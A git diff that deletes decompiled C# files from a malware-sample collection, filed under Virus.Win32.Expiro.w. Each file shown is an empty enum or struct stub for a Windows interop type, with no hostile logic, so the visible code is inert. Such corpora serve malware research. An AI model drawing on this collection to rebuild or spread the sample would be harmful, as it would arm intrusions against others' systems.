b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_NOTIFICATION_TYPES.cs deleted file mode 100644 index 10a85320..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_NOTIFICATION_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_NOTIFICATION_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _RPC_NOTIFICATION_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_REQUEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_REQUEST.cs deleted file mode 100644 index 9d8905a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_REQUEST.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_REQUEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _RPC_REQUEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_RESPONSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_RESPONSE.cs deleted file mode 100644 index 9448f765..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_RESPONSE.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_RESPONSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _RPC_RESPONSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SASL_AUTHZID_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SASL_AUTHZID_STATE.cs deleted file mode 100644 index 606b5c97..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SASL_AUTHZID_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SASL_AUTHZID_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SASL_AUTHZID_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ACTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ACTION_TYPE.cs deleted file mode 100644 index a374342a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ACTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ACTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SC_ACTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ENUM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ENUM_TYPE.cs deleted file mode 100644 index 5af8fb72..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ENUM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ENUM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SC_ENUM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_STATUS_TYPE.cs deleted file mode 100644 index e6b49bde..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SC_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_ATTRIBUTES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_ATTRIBUTES.cs deleted file mode 100644 index 35720705..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_ATTRIBUTES.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_ATTRIBUTES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _SECURITY_ATTRIBUTES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_IMPERSONATION_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_IMPERSONATION_LEVEL.cs deleted file mode 100644 index 7619e163..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_IMPERSONATION_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_IMPERSONATION_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SECURITY_IMPERSONATION_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_SESSION_DATA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_SESSION_DATA.cs deleted file mode 100644 index cd2dea3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_SESSION_DATA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_SESSION_DATA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 80)] -internal struct _SECURITY_LOGON_SESSION_DATA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_TYPE.cs deleted file mode 100644 index d08ce640..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SECURITY_LOGON_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SETTINGSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SETTINGSTATUS.cs deleted file mode 100644 index 59b02ec6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SETTINGSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SETTINGSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SETTINGSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_ADT_PARAMETER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_ADT_PARAMETER_TYPE.cs deleted file mode 100644 index 70cdd15c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_ADT_PARAMETER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_ADT_PARAMETER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SE_ADT_PARAMETER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_OBJECT_TYPE.cs deleted file mode 100644 index c81ccb10..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SE_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SID_NAME_USE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SID_NAME_USE.cs deleted file mode 100644 index c983a5d5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SID_NAME_USE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SID_NAME_USE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SID_NAME_USE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPACTION.cs deleted file mode 100644 index dd665e84..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SPACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPTEXT.cs deleted file mode 100644 index 1a969c50..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SPTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_BUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_BUS_TYPE.cs deleted file mode 100644 index 063f6b09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_BUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_BUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_BUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_MEDIA_TYPE.cs deleted file mode 100644 index e2166950..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _STORAGE_MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STREAM_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STREAM_INFO_LEVELS.cs deleted file mode 100644 index 2448ff9f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STREAM_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STREAM_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STREAM_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SYSTEM_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SYSTEM_POWER_STATE.cs deleted file mode 100644 index 41b36a33..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SYSTEM_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SYSTEM_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SYSTEM_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SecDelegationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SecDelegationType.cs deleted file mode 100644 index 3fdee30f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SecDelegationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SecDelegationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SecDelegationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TAPE_DRIVE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TAPE_DRIVE_PROBLEM_TYPE.cs deleted file mode 100644 index 99f376a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TAPE_DRIVE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TAPE_DRIVE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _TAPE_DRIVE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_THDTYPE.cs 